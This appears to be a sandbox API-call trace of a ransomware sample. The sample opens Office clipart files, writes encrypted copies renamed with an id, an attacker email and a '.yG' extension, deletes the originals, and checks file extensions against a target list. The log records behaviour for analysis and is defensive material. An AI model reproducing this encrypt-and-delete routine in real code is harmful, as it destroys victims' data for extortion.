	[0153.264] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x23e0, lpOverlapped=0x0) returned 1
	[0153.265] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.265] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.265] SetEndOfFile (hFile=0x554) returned 1
	[0153.266] CloseHandle (hObject=0x554) returned 1
	[0153.266] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.266] SetEndOfFile (hFile=0x544) returned 1
	[0153.269] CloseHandle (hObject=0x544) returned 1
	[0153.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1
	[0153.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.270] lstrlenW (lpString=".doc") returned 4
	[0153.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.271] lstrlenW (lpString=".docx") returned 5
	[0153.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.271] lstrlenW (lpString=".pdf") returned 4
	[0153.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.271] lstrlenW (lpString=".xls") returned 4
	[0153.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.271] lstrlenW (lpString=".xlsx") returned 5
	[0153.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.271] lstrlenW (lpString=".ppt") returned 4
	[0153.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.271] lstrlenW (lpString=".zip") returned 4
	[0153.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.271] lstrlenW (lpString=".rar") returned 4
	[0153.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.271] lstrlenW (lpString=".bz2") returned 4
	[0153.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.271] lstrlenW (lpString=".7z") returned 3
	[0153.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.271] lstrlenW (lpString=".dbf") returned 4
	[0153.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.271] lstrlenW (lpString=".1cd") returned 4
	[0153.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.271] lstrlenW (lpString=".jpg") returned 4
	[0153.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.272] lstrlenW (lpString=".doc") returned 4
	[0153.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.272] lstrlenW (lpString=".docx") returned 5
	[0153.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.272] lstrlenW (lpString=".pdf") returned 4
	[0153.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.272] lstrlenW (lpString=".xls") returned 4
	[0153.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.272] lstrlenW (lpString=".xlsx") returned 5
	[0153.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.272] lstrlenW (lpString=".ppt") returned 4
	[0153.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.272] lstrlenW (lpString=".zip") returned 4
	[0153.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.272] lstrlenW (lpString=".rar") returned 4
	[0153.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.272] lstrlenW (lpString=".bz2") returned 4
	[0153.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.272] lstrlenW (lpString=".7z") returned 3
	[0153.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.272] lstrlenW (lpString=".dbf") returned 4
	[0153.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.273] lstrlenW (lpString=".1cd") returned 4
	[0153.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0153.273] lstrlenW (lpString=".jpg") returned 4
	[0153.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.273] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.273] lstrlenW (lpString="J0086420.WMF") returned 12
	[0153.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.274] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=9596) returned 1
	[0153.274] CloseHandle (hObject=0x544) returned 1
	[0153.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220
	[0153.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.275] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.275] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0153.275] GetLastError () returned 0x0
	[0153.275] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x257c, lpOverlapped=0x0) returned 1
	[0153.292] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2580, lpOverlapped=0x0) returned 1
	[0153.293] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.293] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.293] SetEndOfFile (hFile=0x554) returned 1
	[0153.293] CloseHandle (hObject=0x554) returned 1
	[0153.293] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.293] SetEndOfFile (hFile=0x544) returned 1
	[0153.299] CloseHandle (hObject=0x544) returned 1
	[0153.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1
	[0153.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.300] lstrlenW (lpString=".doc") returned 4
	[0153.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.300] lstrlenW (lpString=".docx") returned 5
	[0153.300] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0153.300] lstrlenW (lpString=".pdf") returned 4
	[0153.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.300] lstrlenW (lpString=".xls") returned 4
	[0153.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.300] lstrlenW (lpString=".xlsx") returned 5
	[0153.300] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0153.300] lstrlenW (lpString=".ppt") returned 4
	[0153.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.301] lstrlenW (lpString=".zip") returned 4
	[0153.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.301] lstrlenW (lpString=".rar") returned 4
	[0153.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.301] lstrlenW (lpString=".bz2") returned 4
	[0153.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.301] lstrlenW (lpString=".7z") returned 3
	[0153.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.301] lstrlenW (lpString=".dbf") returned 4
	[0153.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.301] lstrlenW (lpString=".1cd") returned 4
	[0153.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.301] lstrlenW (lpString=".jpg") returned 4
	[0153.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.301] lstrlenW (lpString=".doc") returned 4
	[0153.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.301] lstrlenW (lpString=".docx") returned 5
	[0153.301] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0153.302] lstrlenW (lpString=".pdf") returned 4
	[0153.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.302] lstrlenW (lpString=".xls") returned 4
	[0153.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.302] lstrlenW (lpString=".xlsx") returned 5
	[0153.302] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0153.302] lstrlenW (lpString=".ppt") returned 4
	[0153.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.302] lstrlenW (lpString=".zip") returned 4
	[0153.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.302] lstrlenW (lpString=".rar") returned 4
	[0153.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.302] lstrlenW (lpString=".bz2") returned 4
	[0153.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.302] lstrlenW (lpString=".7z") returned 3
	[0153.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.302] lstrlenW (lpString=".dbf") returned 4
	[0153.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.302] lstrlenW (lpString=".1cd") returned 4
	[0153.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0153.302] lstrlenW (lpString=".jpg") returned 4
	[0153.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.303] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.303] lstrlenW (lpString="J0086426.WMF") returned 12
	[0153.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.303] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=21782) returned 1
	[0153.304] CloseHandle (hObject=0x544) returned 1
	[0153.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220
	[0153.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.304] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.304] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0153.305] GetLastError () returned 0x0
	[0153.305] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x5516, lpOverlapped=0x0) returned 1
	[0153.571] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x5520, lpOverlapped=0x0) returned 1
	[0153.573] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.573] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.573] SetEndOfFile (hFile=0x554) returned 1
	[0153.573] CloseHandle (hObject=0x554) returned 1
	[0153.573] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.573] SetEndOfFile (hFile=0x544) returned 1
	[0153.576] CloseHandle (hObject=0x544) returned 1
	[0153.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1
	[0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.581] lstrlenW (lpString=".doc") returned 4
	[0153.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.581] lstrlenW (lpString=".docx") returned 5
	[0153.581] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0153.581] lstrlenW (lpString=".pdf") returned 4
	[0153.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.581] lstrlenW (lpString=".xls") returned 4
	[0153.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.581] lstrlenW (lpString=".xlsx") returned 5
	[0153.581] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0153.581] lstrlenW (lpString=".ppt") returned 4
	[0153.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.581] lstrlenW (lpString=".zip") returned 4
	[0153.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.581] lstrlenW (lpString=".rar") returned 4
	[0153.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.581] lstrlenW (lpString=".bz2") returned 4
	[0153.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.582] lstrlenW (lpString=".7z") returned 3
	[0153.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.582] lstrlenW (lpString=".dbf") returned 4
	[0153.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.582] lstrlenW (lpString=".1cd") returned 4
	[0153.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.582] lstrlenW (lpString=".jpg") returned 4
	[0153.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.582] lstrlenW (lpString=".doc") returned 4
	[0153.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.582] lstrlenW (lpString=".docx") returned 5
	[0153.582] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0153.582] lstrlenW (lpString=".pdf") returned 4
	[0153.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.582] lstrlenW (lpString=".xls") returned 4
	[0153.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.582] lstrlenW (lpString=".xlsx") returned 5
	[0153.582] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0153.583] lstrlenW (lpString=".ppt") returned 4
	[0153.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.583] lstrlenW (lpString=".zip") returned 4
	[0153.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.583] lstrlenW (lpString=".rar") returned 4
	[0153.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.583] lstrlenW (lpString=".bz2") returned 4
	[0153.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.583] lstrlenW (lpString=".7z") returned 3
	[0153.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.583] lstrlenW (lpString=".dbf") returned 4
	[0153.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.583] lstrlenW (lpString=".1cd") returned 4
	[0153.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0153.583] lstrlenW (lpString=".jpg") returned 4
	[0153.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.584] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.584] lstrlenW (lpString="J0090027.WMF") returned 12
	[0153.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.585] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=21268) returned 1
	[0153.585] CloseHandle (hObject=0x544) returned 1
	[0153.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220
	[0153.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.585] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.586] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0153.586] GetLastError () returned 0x0
	[0153.586] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x5314, lpOverlapped=0x0) returned 1
